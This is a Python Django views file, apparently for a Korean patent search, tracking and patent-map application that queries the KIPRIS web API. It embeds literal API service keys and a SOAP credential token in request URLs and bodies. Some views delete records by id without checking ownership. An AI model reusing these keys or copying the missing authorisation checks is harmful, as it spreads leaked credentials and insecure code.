'registerNumber={registerNumber}&inventionTitle={inventionTitle}&astrtCont={astrtCont}&ServiceKey={key}').format(**search)\n\n url = ('http://plus.kipris.or.kr/kipo-api/kipi/patUtiModInfoSearchSevice/getAdvancedSearch?&sortSpec=AD&descSort=true&'\n '&ServiceKey=2G6NLSJFUET/yUt7iWnJh3PxkqKrwpoYLh26s6ir7CU=&{}').format(search)\n\n f = urlopen(url)\n patent_xml = f.read().decode(\"utf8\")\n f.close()\n soup = BeautifulSoup(patent_xml, 'lxml')\n\n try:\n num_row = int(soup.find('numofrows').get_text())\n total_count = int(soup.find('totalcount').get_text())\n page_num = math.ceil(total_count / num_row)\n except:\n return render(request,'ipsearch/ipsearch.html')\n\n patent_tag = ['applicantName', 'applicationDate', 'applicationNumber', 'applicationDate', 'astrtCont', 'bigDrawing',\n 'inventionTitle', 'ipcNumber', 'openDate', 'openNumber', 'publicationDate', 'publicationNumber',\n 'registerDate', 'registerNumber', 'registerStatus', 'docName', 'docLink']\n\n item_list = []\n\n for i in range(page_num):\n url = url + '&pageNo={}'.format(i)\n f = urlopen(url)\n patent_xml = f.read().decode(\"utf8\")\n f.close()\n soup = BeautifulSoup(patent_xml, 'lxml')\n\n for item in soup.find_all('item'):\n item_tag = []\n for i in range(len(patent_tag)):\n if item.find(patent_tag[i].lower()) is None:\n value = ''\n item_tag.append(value)\n else:\n value = item.find(patent_tag[i].lower()).get_text()\n item_tag.append(value)\n\n item_list.append(item_tag)\n\n return render(request, 'ipsearch/ipsearch.html', {'item_list': item_list, 'search':search})\n'''\n\ndef ip_dashboard(request):\n queryset = Tracking4.objects.all()\n user = request.user\n trackinglists = queryset.filter(owner=user)\n trackingcount = trackinglists.count()\n search_fomular = Keyword.objects.all().filter(owner=user)\n search_count = search_fomular.count()\n patentmaps = Patentmap.objects.filter(owner=user)\n patentmapcount = patentmaps.count()\n if request.is_ajax():\n patentmapremoveid = request.GET.get('patentmapremove')\n keywordremoveid = request.GET.get('keywordremove')\n tackingremoveid = request.GET.get('tackingremove')\n if patentmapremoveid:\n mypatent = Patentmap.objects.get(owner=user, id=patentmapremoveid)\n mypatent.delete()\n else:\n pass\n patentremovesuccess=\"삭제가 완료 되었습니다!\"\n\n if keywordremoveid:\n mykeyword = Keyword.objects.get(owner=user, id=keywordremoveid)\n mykeyword.delete()\n else:\n pass\n keywordremovesuccess=\"키워드 삭제가 완료 되었습니다!\"\n\n if tackingremoveid:\n mytrackingpatent = Tracking4.objects.get(owner=user, id=tackingremoveid)\n mytrackingpatent.delete()\n else:\n pass\n mytrackingremovesuccess=\"삭제가 완료 되었습니다!\"\n\n context={\n 'patentremovesuccess': patentremovesuccess,\n 'patentmapremoveid':patentmapremoveid,\n 'keywordremovesuccess':keywordremovesuccess,\n 'keywordremoveid':keywordremoveid,\n 'tackingremoveid':tackingremoveid,\n 'mytrackingremovesuccess':mytrackingremovesuccess,\n }\n return HttpResponse(json.dumps(context), content_type='application/json')\n\n context = {\n 'trackinglists':trackinglists,\n 'trackingcount': trackingcount,\n 'search_fomular':search_fomular,\n 'search_count' : search_count,\n 'patentmaps': patentmaps,\n 'patentmapcount': patentmapcount,\n }\n return render(request, 'ipsearch/dashboard.html', context)\n\ndef ip_tracking_api(request, appNum):\n user = request.user\n url = \"http://plus.kipris.or.kr/kipo-api/kipi/patUtiModInfoSearchSevice/getAdvancedSearch?applicationNumber={}&ServiceKey=2G6NLSJFUET/yUt7iWnJh3PxkqKrwpoYLh26s6ir7CU=\".format(appNum)\n f = urlopen(url)\n patent_xml = f.read().decode(\"utf8\")\n f.close()\n soup = BeautifulSoup(patent_xml, 'xml')\n applicationNumber = soup.find('applicationNumber').get_text()\n inventionTitle = soup.find('inventionTitle').get_text()\n registerStatus = soup.find('registerStatus').get_text()\n a = Tracking.objects.all().filter(owner=user)\n a = a.filter(applicationNumber__icontains=appNum) # .values_list('id', flat=True) # get id of filtered object\n if a:\n pass\n else:\n Tracking.objects.create(\n owner=user,\n applicationNumber=applicationNumber,\n inventionTitle=inventionTitle,\n registerStatus=registerStatus,\n )\n return redirect('http://127.0.0.1:8000/ipsearch/dashboard/')\n\ndef ip_tracking(request, appNum):\n user = request.user\n query = Patent3.objects.all().filter(applicationNumber=appNum)\n track_query = Tracking.objects.all().filter(owner=user)\n track_query = track_query.filter(applicationNumber=appNum) # .values_list('id', flat=True) # get id of filtered object\n if track_query:\n pass\n else:\n value = query.values_list('inventionTitle', 'registerStatus')\n Tracking.objects.create(\n owner=user,\n applicationNumber=appNum,\n inventionTitle=value[0][0],\n registerStatus=value[0][1],\n )\n return redirect('http://127.0.0.1:8000/ipsearch/dashboard/')\n\ndef ip_value(request):\n return render(request, 'ipsearch/value.html')\n\ndef ip_possibility(request):\n return render(request, 'ipsearch/possibility.html')\n\ndef idea_generator(request):\n return render(request, 'ipsearch/ideagenerator.html')\n\ndef patentmap(request):\n user = request.user\n project_list = Patentmap.objects.all().order_by('-id')\n project_name = request.POST.get('projectname','')\n customer_name = request.POST.get('customername','')\n tech_background = request.POST.get('techbackground','')\n\n if project_name:\n project_info = {\n 'owner': user,\n 'project': project_name,\n 'customer': customer_name,\n 'background': tech_background,\n }\n Patentmap.objects.create(**project_info)\n if request.is_ajax():\n patentmapid = request.GET.get('patentmapid')\n Patentmap.objects.filter(owner=user, id=patentmapid).delete()\n deleted = Patentmap.objects.filter(owner=user, id=patentmapid)\n\n if deleted.count()==0:\n message = \"삭제 되었습니다.\"\n else:\n message = \"삭제 되지 않았습니다.\"\n\n return HttpResponse(json.dumps({'message': message}), content_type='application/json')\n\n project_list = project_list.filter(owner=user)\n context = {\n 'user': user,\n 'project_name': project_name,\n #'customer_name': customer_name,\n #'tech_background': tech_background,\n 'project_list':project_list,\n }\n\n return render(request,'ipsearch/patentmap.html', context)\n\ndef patentmap_editor(request):\n user = request.user\n search_fomular = Keyword.objects.all().filter(owner=user)\n\n return render(request, 'ipsearch/patentmap_editor.html',{'search_fomular':search_fomular})\n'''\ndef patent_detail(request, appNum): #SOAP 데이터 사용\n appNumber = appNum\n url = \"http://plus.kipris.or.kr/kiprisplusws/services/PatentImageAndFullTextService?wsdl#sthash.u9feYqAw.dpuf\"\n headers = {'content-type': 'text/xml'}\n body = \"\"\"\n \n gongto\n 00e7d79518570810c4caaccb274123c06facfcf6cfe84ada\n \n \n \n \n {}\n \n \n \"\"\".format(appNumber)\n\n response = requests.post(url, data=body, headers=headers)\n f = str(response.content)\n soup = BeautifulSoup(f, 'lxml')\n detail_list = []\n for link in soup.find_all(re.compile('(path)')): # re.[a-zA-Z0-9]:docname'):\n url = urlopen(link.get_text())\n content = url.read()\n content = content.decode(\"euc-kr\") # euc-kr로 디코딩\n soup = BeautifulSoup(content, 'lxml')\n detail_list.append(soup.get_text())\n\n return render(request, 'ipsearch/ipdetail.html', {'detail_list': detail_list})\n'''\n\ndef getidea(request):\n return render(request, 'ipsearch/getidea.html')\n\n\n#model = Doc2Vec.load(\"f:/dev/models/doc2vec_model_20170809\")\ndef patent_detail_function(appNum):\n #similar_list = model.docvecs.most_similar(appNum, topn=10)\n ipc = []\n claiminfo = []\n applicant = []\n legalStatusInfo = []\n inventorInfo = []\n agentInfo = []\n priorityInfo = []\n bibliosummaryinfo = [\n 'applicationDate', 'applicationNumber', 'claimCount', 'finalDisposal', 'inventionTitle',\n 'inventionTitleEng', 'openDate', 'openNumber', 'originalApplicationDate', 'originalApplicationKind',\n 'originalApplicationNumber', 'originalExaminationRequestDate', 'originalExaminationRequestFlag',\n 'publicationDate', 'publicationNumber', 'registerDate', 'registerNumber', 'registerStatus',\n 'translationSubmitDate',\n ]\n bibliosummarylist = []\n\n detail_url = ('http://plus.kipris.or.kr/kipo-api/kipi/patUtiModInfoSearchSevice/'\n 'getBibliographyDetailInfoSearch?applicationNumber={}&ServiceKey='\n 'SM7DbireOdbJ=H9WBsGY3p7KtVULFNhuSSMMgBh9DLc=').format(appNum)\n\n f = urlopen(detail_url)\n soup = BeautifulSoup(f, 'lxml')\n try:\n astrtCont = soup.find('astrtcont').get_text()\n if soup.find('registernumber') is None:\n registerNumber = ''\n else:\n registerNumber = soup.find('registernumber').get_text()\n registerNumber = registerNumber.replace('-', '')\n\n for bibliosummary in bibliosummaryinfo:\n if soup.find(bibliosummary.lower()) is None:\n value = ''\n else:\n value = soup.find(bibliosummary.lower()).get_text()\n bibliosummarylist.append(value)\n\n for ipcinfo in soup.find_all('ipcinfo'):\n ipc_text = ipcinfo.get_text()\n ipc.append(ipc_text)\n\n for claim in soup.find_all('claim'):\n claim_text = claim.get_text()\n claim_text = re.sub(r\"<.*?>\", \"\", str(claim_text))\n claiminfo.append(claim_text)\n\n for applicantInfo in soup.find_all('applicantinfo'):\n applicantInfo_text = applicantInfo.get_text()\n applicant.append(applicantInfo_text)\n\n for legalstatus in soup.find_all('legalstatusinfo'):\n legalstatus_text = legalstatus.get_text()\n legalStatusInfo.append(legalstatus_text)\n\n for inventor in soup.find_all('inventorinfo'):\n inventor_text = inventor.get_text()\n inventorInfo.append(inventor_text)\n\n for agent in soup.find_all('agentinfo'):\n agent_text = agent.get_text()\n agentInfo.append(agent_text)\n\n for priority in soup.find_all('priorityinfo'):\n priority_text = priority.get_text()\n priorityInfo.append(priority_text)\n\n citation_url = ('http://plus.kipris.or.kr/openapi/rest/CitationService/citationInfoV3?'\n 'applicationNumber={}&accessKey=vkGPF3vQoiO7q13=WOglCYQNQ0iijNEOWCp30sgBzoU=').format(appNum)\n\n f = urlopen(citation_url)\n soup = BeautifulSoup(f, 'lxml')\n\n citation_tag = [\n 'OriginalcitationLiteraturenumber', 'OriginalcitationLiteraturenumberDate', 'StandardCitationLiteraturenumber',\n 'StandardCitationLiteratureCountryCode', 'StandardCitationLiteratureCountryCodeName',\n 'StandardCitationIdentificationCode',\n 'StandardCitationLiteraturePublicationDate', 'StandardStatusCode', 'StandardStatusCodeName',\n 'CitationLiteratureTypeCode',\n 'CitationLiteratureTypeCodeName'\n ]\n\n citation_list = []\n\n for citations in soup.find_all('citationinfov3'):\n citation_tags = []\n for citation in citation_tag:\n if citations.find(citation.lower()) is None:\n value = ''\n else:\n value = citations.find(citation.lower()).get_text()\n citation_tags.append(value)\n\n citation_list.append(citation_tags)\n\n rightholder_url=('http://plus.kipris.or.kr/openapi/rest/RegistrationService/'\n 'registrationLastRightHolderInfo?registrationNumber={}&'\n 'accessKey=vkGPF3vQoiO7q13=WOglCYQNQ0iijNEOWCp30sgBzoU=').format(registerNumber)\n\n f = urlopen(rightholder_url)\n soup = BeautifulSoup(f, 'lxml')\n\n rightholder_tag = [\n 'lastRightHolderNumber','lastRightHolderName', 'lastRightHolderAddress',\n 'lastRightHolderCountry'\n ]\n\n rightholder_list = []\n\n for rightholders in soup.find_all('items'):\n rightholder_tags = []\n for rightholder in rightholder_tag:\n if rightholders.find(rightholder.lower()) is None:\n value = ''\n else:\n value = rightholders.find(rightholder.lower()).get_text()\n rightholder_tags.append(value)\n\n rightholder_list.append(rightholder_tags)\n\n context = {\n 'ipc': ipc,\n 'claiminfo': claiminfo,\n 'applicant': applicant,\n 'legalStatusInfo': legalStatusInfo,\n 'inventorInfo': inventorInfo,\n 'agentInfo': agentInfo,\n 'priorityInfo': priorityInfo,\n 'bibliosummaryinfo': bibliosummaryinfo,\n 'astrtCont': astrtCont,\n 'bibliosummarylist': bibliosummarylist,\n 'citation_list': citation_list,\n 'rightholder_list': rightholder_list,\n #'similar_list': similar_list\n }\n except:\n message = 'invalid application Number'\n context={'message':message}\n return context\n'''\n if request.is_ajax():\n return HttpResponse(json.dumps({'context': context}), content_type='application/json')\n '''\n\ndef patent_detail2(request, appNum):\n if request.is_ajax():\n appNum_ajax = request.GET.get('appNum_ajax')\n context = patent_detail_function(appNum_ajax)\n #context = serializers.serialize('json', context)\n return HttpResponse(json.dumps({'context': context}), content_type='application/json')\n context = patent_detail_function(appNum)\n return render(request, 'ipsearch/detail2.html', context)\n\n\ndef test(request):\n query = Patent3.objects.all()\n fomulars = request.POST.get('fomular', '')\n if fomulars:\n fomulars = fomulars.replace('AND', ' ')\n fomulars = fomulars.split()\n result_filter = Q()\n\n for items in fomulars:\n items = items.replace('(', '')\n items = items.replace(')', '')\n items = items.replace('*', ' ')\n items = items.split()\n or_filter = Q()\n for item in items:\n or_filter = or_filter | Q(search_vector=item)\n result_filter = result_filter & or_filter\n list_page = query.filter(result_filter) # .count())\n total_count = list_page.count()\n\n else:\n list_page = query[0:500]\n total_count = 500\n\n page = request.GET.get('page', 1)\n paginator = Paginator(list_page, 50)\n\n try:\n lists = paginator.page(page)\n except PageNotAnInteger:\n lists = paginator.page(1)\n except EmptyPage:\n lists = paginator.page(paginator.num_pages)\n\n context = {\n 'total_count': total_count,\n # 'result_filter' : result_filter,\n 'fomulars': fomulars,\n 'list_page': list_page,\n 'lists': lists,\n # 'page_range': page_range,\n # 'inventionTitle': inventionTitle,\n }\n return render(request, 'ipsearch/test.html', context )\n\ndef search(request):\n q = request.GET.get('q','')\n query = Patent3.objects.all()\n if q:\n query = query.filter(search_vector=q)\n count = query.count()\n else:\n query=[]\n count=0\n\n return render(request,'ipsearch/search.html',{'query':query,'count':count})\n\n\ndef patentmapsearch(request, projid):\n user = request.user\n patentmapkeyword = Patentmap.objects.filter(owner=user)\n patentmapkeyword = patentmapkeyword.get(id=projid)\n patentmapkeywords = PatentmapKeyword.objects.all().filter(project=patentmapkeyword)\n\n patentmappatent = Patentmap.objects.filter(owner=user)\n projectname = patentmappatent.filter(id=projid).values_list('project')\n patentmappatent = patentmappatent.get(id=projid)\n patentmappatents = PatentmapPatent.objects.all().filter(project=patentmappatent)\n\n query = Patent3.objects.all()#.order_by('-applicationDate')#all()\n fomular = request.POST.get('fomular', '')\n keyword_query = patentmapkeywords.filter(keyword=fomular)\n\n #ajax요청을 통한 선택 특허 저장\n if request.is_ajax():\n appNum = request.GET.get('appNum')\n exist_patent = patentmappatents.filter(patent__applicationNumber=appNum)\n if exist_patent:\n pass\n else:\n patent = query.filter(applicationNumber=appNum)\n patent = patent.get(id=patent.values_list('id'))\n PatentmapPatent.objects.create(project=patentmappatent, patent=patent)\n success = '저장이 완료 되었습니다!'\n return HttpResponse(json.dumps({'success': success}), content_type='application/json')\n\n fomulars = fomular\n similarwordlists = []\n total_count=''\n list_page=[]\n #검색식 가공\n if fomulars:\n fomulars = fomulars.lower()\n fomulars = fomulars.replace('and', ' ')\n fomulars = fomulars.split()\n result_filter = Q()\n\n for items in fomulars:\n items = items.replace('(', '')\n items = items.replace(')', '')\n items = items.replace('*', ' ')\n items = items.split()\n or_filter = Q()\n for item in items:\n or_filter = or_filter | Q(search_vector=item)\n input_word = item\n\n if input_word not in wordvec: #wordvec은 유사단어 찾는 모델의 이름\n emptyalarm = \"Related words are not in here\"\n else:\n similar_words = wordvec.most_similar(input_word, topn=20)\n similarwordlists.append(input_word)\n similarwordlist = []\n for i in range(len(similar_words)):\n similar_word = similar_words[i][0]\n similarwordlist.append(similar_word)\n similarwordlists.append(similarwordlist)\n\n result_filter = result_filter & or_filter\n\n list_page = query.filter(result_filter) # .count())\n #list_page = query.filter(astrtCont__contains=fomulars)\n total_count = list_page.count()\n else:\n list_page = []\n\n #page = request.GET.get('page', 1)\n #paginator = Paginator(list_page, 30)\n\n #try:\n # lists = paginator.page(page)\n #except PageNotAnInteger:\n # lists = paginator.page(1)\n #except EmptyPage:\n # lists = paginator.page(paginator.num_pages)\n\n #검색식 저장\n if fomular:\n if keyword_query:\n pass\n else:\n PatentmapKeyword.objects.create(project=patentmapkeyword, keyword=fomular, count=total_count)\n\n\n\n context = {\n 'total_count': total_count,\n # 'result_filter' : result_filter,\n 'fomulars': fomulars,\n 'lists': list_page,\n #'lists': lists,\n 'fomular': fomular,\n # 'page_range': page_range,\n # 'inventionTitle': inventionTitle,\n 'patentmapkeywords': patentmapkeywords,\n 'patentmappatents': patentmappatents,\n 'projid': projid,\n 'similarwordlists': similarwordlists,\n 'projectname': projectname[0][0],\n 'user': user,\n 'patentmappatents':patentmappatents,\n }\n return render(request, 'ipsearch/patentmapsearch3.html', context)\n\ndef deletekeyword(request, keyid):\n deletekey = PatentmapKeyword.objects.get(id=keyid)\n deletekey.delete()\n return render(request, 'ipsearch/patentmapsearch3.html')\n\ndef grade(request, projid):\n user = request.user\n patentmap = Patentmap.objects.filter(owner=user)\n patentmap = patentmap.get(id=projid)\n patentmaplists = PatentmapPatent.objects.filter(project=patentmap).order_by('grade')\n if request.is_ajax():\n appNum = request.GET.get('appNum')\n grade_appNum = request.GET.get('grade_appNum')\n grade = request.GET.get('grade')\n if appNum:\n url = \"http://plus.kipris.or.kr/kiprisplusws/services/PatentImageAndFullTextService?wsdl#sthash.u9feYqAw.dpuf\"\n headers = {'content-type': 'text/xml'}\n body = \"\"\"\n \n gongto\n 00e7d79518570810c4caaccb274123c06facfcf6cfe84ada\n \n \n \n \n {}\n \n \n \"\"\".format(appNum)\n\n response = requests.post(url, data=body, headers=headers)\n f = str(response.content)\n soup = BeautifulSoup(f, 'lxml')\n detail_list = []\n for link in soup.find_all(re.compile('(path)')): # re.[a-zA-Z0-9]:docname'):\n url = urlopen(link.get_text())\n content = url.read()\n content = content.decode(\"euc-kr\") # euc-kr로 디코딩\n soup = BeautifulSoup(content, 'lxml')\n detail_list.append(soup.get_text())\n soup_tag = str(soup)\n #soup = re.sub(r\"<.*?>\", \"\", str(soup))\n context = {\n 'soup': soup,\n }\n\n tag_list = ['title','abst','summ', 'field','back','problem','solution','effect', 'inventionconfiguration']\n fulltext_list = []\n\n tag = re.search(r'<{1}.*' + tag_list[0] + r'.*>{1}', soup_tag).group()\n print(tag)\n\n for tag in tag_list:\n for tag in tag_list:\n if re.search(r'<{1}.*' + tag + r'.*>{1}', soup_tag):\n tag = re.search(r'<{1}.*' + tag + r'.*>{1}', soup_tag).group()\n index = tag.find('>')\n tag_name = tag[1:index]\n print(tag_name)\n content = soup.find(tag_name).get_text() # back bkgr\n fulltext_list.append(content)\n else:\n fulltext_list.append('없음')\n\n return HttpResponse(json.dumps({'fulltext_list': fulltext_list}), content_type='application/json')\n\n if grade_appNum:\n patentgrade = patentmaplists.filter(patent__applicationNumber=grade_appNum).update(grade=grade)\n\n context = {\n 'patentgrade': patentgrade\n }\n\n return HttpResponse(json.dumps(context), content_type='application/json')\n\n context = {\n 'patentmaplists': patentmaplists,\n 'projid':projid,\n 'patentmap':patentmap,\n 'user': user,\n }\n return render(request, 'ipsearch/grade.html', context)\n\ndef similarfilter(request, projid):\n user = request.user\n patentmap = Patentmap.objects.filter(owner=user)\n patentmap = patentmap.get(id=projid)\n patentmaplists = PatentmapPatent.objects.filter(project=patentmap)\n patentmappatent = Patentmap.objects.filter(owner=user)\n patentmappatent = patentmappatent.get(id=projid)\n patentmappatents = PatentmapPatent.objects.all().filter(project=patentmappatent)\n selectcount = patentmaplists.count()\n\n query = Patent3.objects.all()\n if request.is_ajax():\n appNum = request.GET.get('appNum')\n similars = docvec.docvecs.most_similar(appNum, topn=100)\n exist_patent = patentmappatents.filter(patent__applicationNumber=appNum)\n patentlist=[]\n\n if exist_patent:\n pass\n else:\n patent = query.filter(applicationNumber=appNum)\n patent = patent.get(id=patent.values_list('id'))\n PatentmapPatent.objects.create(project=patentmappatent, patent=patent)\n\n #count = patentmappatents.count()\n success = 'complete'\n i = 0\n similarpatent_list = []\n listtype=[]\n\n for similar in similars:\n applicationNumber = similar[0]\n similarpatent = Patent3.objects.filter(applicationNumber=applicationNumber)\n similarpatent = similarpatent.values_list('inventionTitle','bigDrawing','applicationNumber', 'applicationDate', 'ipcNumber','registerStatus','astrtCont','applicantName')\n for patent in similarpatent:\n listtype.append(patent)\n similarpatent_list.append(listtype)\n\n context={\n 'similarpatent_list': similarpatent_list,\n #'count': count,\n 'patentlist':patentlist,\n }\n\n return HttpResponse(json.dumps(context), content_type='application/json')\n\n context={\n 'patentmaplists': patentmaplists,\n 'projid':projid,\n 'patentmap': patentmap,\n 'user': user,\n 'selectcount': selectcount,\n }\n return render(request, 'ipsearch/filter.html', context)\n\ndef similarpatent(request, appNum):\n similarpatents=[]\n similar = docvec.docvecs.most_similar(appNum, topn=100)\n i=0\n similarpatent_list=[]\n for i in range(len(similar)):\n similarpatent = Patent3.objects.filter(applicationNumber=similar[i][0])\n similarpatent = similarpatent.values_list('applicationNumber','inventionTitle','astrtCont')\n similarpatent_list.append(similarpatent)\n context = {\n 'similarpatent_list': similarpatent_list,\n }\n return render(request, 'ipsearch/similar.html', context)\n\ndef result(request, projid):\n user = request.user\n patentmapkeyword = Patentmap.objects.filter(owner=user)\n patentmapkeyword = patentmapkeyword.get(id=projid)\n patentmapkeywords = PatentmapKeyword.objects.all().filter(project=patentmapkeyword)\n\n patentmap = Patentmap.objects.filter(owner=user)\n patentmap = patentmap.get(id=projid)\n patentmaplists = PatentmapPatent.objects.filter(project=patentmap).order_by('patent__applicationDate')\n wordcloudlist = patentmaplists.values_list('patent__astrtCont')\n wordcloudlists = []\n\n if request.is_ajax():\n page = request.GET.get('page')\n\n page = int(page)\n patentmaplists = patentmaplists[page*18:(page+1)*18]\n patentlist= []\n for patentmaplist in patentmaplists:\n patentlist.append(patentmaplist)\n\n context={\n 'patentlist': patentlist\n }\n return HttpResponse(json.dumps(context), content_type='application/json')\n\n for word in wordcloudlist:\n twitter = Twitter()\n new_word = word[0]\n wordcloudlist = wordcloud(new_word)\n wordcloudlists.append(wordcloudlist)\n\n date = patentmaplists.values_list('patent__applicationDate')\n year_count = {}\n # print(date)\n for i in range(len(date)):\n date_year = date[i][0][0:4]\n if date_year not in year_count:\n year_count[date_year] = 1\n else:\n year_count[date_year] += 1\n\n dateSort = sorted(year_count.items(), key=lambda t: t[0]) # , reverse=True)\n for k in range(len(dateSort)):\n dateSort[k] = list(dateSort[k])\n dateSort.insert(0, ['year', 'count'])\n\n ipc = patentmaplists.values_list('patent__ipcNumber')\n\n ipc_count = {}\n # print(date)\n for i in range(len(ipc)):\n ipc_modify = ipc[i][0]\n ipc_modify = ipc_modify.split('|')\n ipc_modify = ipc_modify[0]\n print(ipc_modify)\n\n if ipc_modify not in ipc_count:\n ipc_count[ipc_modify] = 1\n else:\n ipc_count[ipc_modify] += 1\n\n ipcSort = sorted(ipc_count.items(), key=lambda t: t[0]) # , reverse=True)\n # ipcSort=list(ipcSort)\n for k in range(len(ipcSort)):\n ipcSort[k] = list(ipcSort[k])\n ipcSort.insert(0, ['ipc', 'count'])\n\n applicant = patentmaplists.values_list('patent__applicantName')\n applicant_count = {}\n\n # list dataset을 dict로 count\n for i in range(len(applicant)):\n applicant_modify = applicant[i][0]\n applicant_modify = applicant_modify.split('|')\n applicant_modify = applicant_modify[0]\n print(applicant_modify)\n\n if applicant_modify not in applicant_count:\n applicant_count[applicant_modify] = 1\n else:\n applicant_count[applicant_modify] += 1\n\n # 순서에 따라 sorting하고 dict데이터를 tuple차입으로 변환\n applicantSort = sorted(applicant_count.items(), key=lambda t: t[0]) # , reverse=True)\n\n # Tuple로 되어있는 dataset을 리스트로 변환하고 labeling\n for k in range(len(applicantSort)):\n applicantSort[k] = list(applicantSort[k])\n applicantSort.insert(0, ['applicantSort', 'count'])\n\n status = patentmaplists.values_list('patent__registerStatus')\n staus_count = {}\n # list dataset을 dict로 count\n for i in range(len(status)):\n status_modify = status[i][0]\n\n if status_modify not in staus_count:\n staus_count[status_modify] = 1\n else:\n staus_count[status_modify] += 1\n\n # 순서에 ���라 sorting하고 dict데이터를 tuple차입으로 변환\n statusSort = sorted(staus_count.items(), key=lambda t: t[0]) # , reverse=True)\n\n # Tuple로 되어있는 dataset을 리스트로 변환하고 labeling\n for k in range(len(statusSort)):\n statusSort[k] = list(statusSort[k])\n statusSort.insert(0, ['statusSort', 'count'])\n\n context = {\n 'patentmap': patentmap,\n 'patentmaplists' : patentmaplists,\n 'dateSort': dateSort,\n 'ipcSort': ipcSort,\n 'applicantSort':applicantSort,\n 'statusSort': statusSort,\n 'projid': projid,\n 'patentmapkeywords': patentmapkeywords,\n 'user': user,\n #'wordcloudlists': wordcloudlists,\n }\n return render(request,'ipsearch/result.html', context)\n\ndef wordcloud(new_word):\n twitter = Twitter()\n new_word = new_word.replace('상기', '')\n new_word = new_word.replace('본', '')\n new_word = new_word.replace('발명', '')\n new_word = new_word.replace('부재', '')\n new_word = new_word.replace('부', '')\n twitter_str = twitter.nouns(new_word)\n\n for word in twitter_str:\n word.replace(' ', '')\n if len(word) == 1:\n twitter_str.remove(word)\n\n twitter_count = {}\n tags = {}\n tags_list = []\n for word in twitter_str:\n if word not in twitter_count:\n twitter_count[word] = 1\n else:\n twitter_count[word] += 1\n for word in twitter_count:\n tags['text'] = word\n tags['weight'] = twitter_count[word]\n tags_list.append(dict(tags))\n\n return tags_list\n\ndef layout(request):\n return render(request,'ipsearch/layout5.html')\n\ndef button(request):\n return render(request, 'ipsearch/button.html')\n\ndef deletepatent(request, projid, deleteid):\n user = request.user\n query = PatentmapPatent.objects.get(id=deleteid, project=projid, project__owner=user )\n query.delete()\n\n return render(request)\n\ndef tables(request):\n return render(request,'ipsearch/tables.html',)\n\ndef main(request):\n return render(request, 'ipsearch/main.html',)\n\ndef result_to_excel(request):\n pass\n\ndef patentmapsearch2(request, projid):\n user = request.user\n patentmapkeyword = Patentmap.objects.filter(owner=user)\n patentmapkeyword = patentmapkeyword.get(id=projid)\n patentmapkeywords = PatentmapKeyword.objects.all().filter(project=patentmapkeyword)\n\n patentmappatent = Patentmap.objects.filter(owner=user)\n projectname = patentmappatent.filter(id=projid).values_list('project')\n patentmappatent = patentmappatent.get(id=projid)\n patentmappatents = PatentmapPatent.objects.all().filter(project=patentmappatent)\n query = Patent3.objects.all() # .order_by('-applicationDate')#all()\n #fomular = request.POST.get('fomular', '')\n\n # ajax요청을 통한 선택 특허 저장\n if request.is_ajax():\n searchfomular = request.GET.get('searchfomular')\n #page = int(request.GET.get('page'))\n appNum = request.GET.get('appNum')\n total_count = ''\n list_page = []\n result_lists = []\n similar_words = []\n keyworditem = []\n exist_patent = patentmappatents.filter(patent__applicationNumber=appNum)\n\n if searchfomular:\n fomulars = searchfomular.lower()\n fomulars = fomulars.replace('and',' ')\n fomulars = fomulars.split()\n result_filter = Q()\n for items in fomulars:\n items = items.replace('(', '')\n items = items.replace(')', '')\n items = items.replace('*', ' ')\n items = items.split()\n or_filter = Q()\n for item in items:\n or_filter |= Q(search_vector=item)\n if item in wordvec:\n keyworditem.append(item)\n similar_words.append(wordvec.most_similar(item, topn=20))\n\n result_filter = result_filter & or_filter\n list_count = query.filter(result_filter).count()\n list_page = query.filter(result_filter).values_list(\n 'inventionTitle','bigDrawing','applicationNumber','applicationDate',\n 'ipcNumber', 'registerStatus','applicantName','astrtCont')#[(page-1)*25:page*25]\n\n for list in list_page:\n result_lists.append(list)\n\n\n list_count = list_page.count()\n\n if searchfomular:\n keyword_query = patentmapkeywords.filter(keyword=searchfomular)\n if keyword_query:\n pass\n else:\n PatentmapKeyword.objects.create(project=patentmapkeyword, keyword=searchfomular, count=list_count)\n\n keyword_lists = []\n \n for list in patentmapkeywords:\n keyword_lists.append(list)\n keyword_lists = str(keyword_lists)\n\n context = {\n 'list_count': list_count,\n 'result_lists': result_lists,\n 'similar_words': similar_words,\n 'keyworditem': keyworditem,\n 'keyword_lists': keyword_lists,\n }\n\n return HttpResponse(json.dumps(context), content_type='application/json')\n\n '''\n if fomular:\n if keyword_query:\n pass\n else:\n PatentmapKeyword.objects.create(project=patentmapkeyword, keyword=fomular, count=total_count)\n'''\n context = {\n #'total_count': total_count,\n # 'result_filter' : result_filter,\n #'fomulars': fomulars,\n #'lists': list_page,\n # 'lists': lists,\n #'fomular': fomular,\n # 'page_range': page_range,\n # 'inventionTitle': inventionTitle,\n 'patentmapkeywords': patentmapkeywords,\n 'patentmappatents': patentmappatents,\n 'projid': projid,\n #'similarwordlists': similarwordlists,\n 'projectname': projectname[0][0],\n 'user': user,\n 'patentmappatents': patentmappatents,\n }\n return render(request, 'ipsearch/patentmapsearch4.html', context)\n'''\ndef choice(request, projid):\n user = request.user\n if request.is_ajax():\n applicationNumber = request.GET.get('applicationNumber')\n patentmappatent = Patentmap.objects.filter(owner=user)\n patentmappatent = patentmappatent.get(id=projid)\n patentmappatents = PatentmapPatent.objects.all().filter(project=patentmappatent)\n savedpatent = patentmappatents.filter(patent__applicationNumber=applicationNumber)\n if savedpatent:\n savedpatentmessage = 'saved'\n\n context = {\n 'savedpatentmessage': savedpatentmessage,\n }\n return HttpResponse(json.dumps(context), content_type='application/json')\n return render(request,'ipsearch/patentmapsearxh4.html') '''\n\ndef patentmappatentsave(request, projid):\n user = request.user\n patentmappatent = Patentmap.objects.filter(owner=user)\n projectname = patentmappatent.filter(id=projid).values_list('project')\n patentmappatent = patentmappatent.get(id=projid)\n patentmappatents = PatentmapPatent.objects.all().filter(project=patentmappatent)\n query = Patent3.objects.all()\n if request.is_ajax():\n appNum = request.GET.get('appNum')\n exist_patent = patentmappatents.filter(patent__applicationNumber=appNum)\n\n if exist_patent:\n pass\n else:\n newpatent = query.get(applicationNumber=appNum)\n PatentmapPatent.objects.create(project=patentmappatent, patent=newpatent)\n\n success = '저장이 완료 되었습니다!'\n context = {\n 'success': success,\n }\n\n return HttpResponse(json.dumps(context), content_type='application/json')\n return render(request)\n\n\n","sub_path":"ipsearch/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":43689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"429630324","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\n# Copyright 2012 Calculate Ltd. http://www.calculate-linux.org\n#\n# 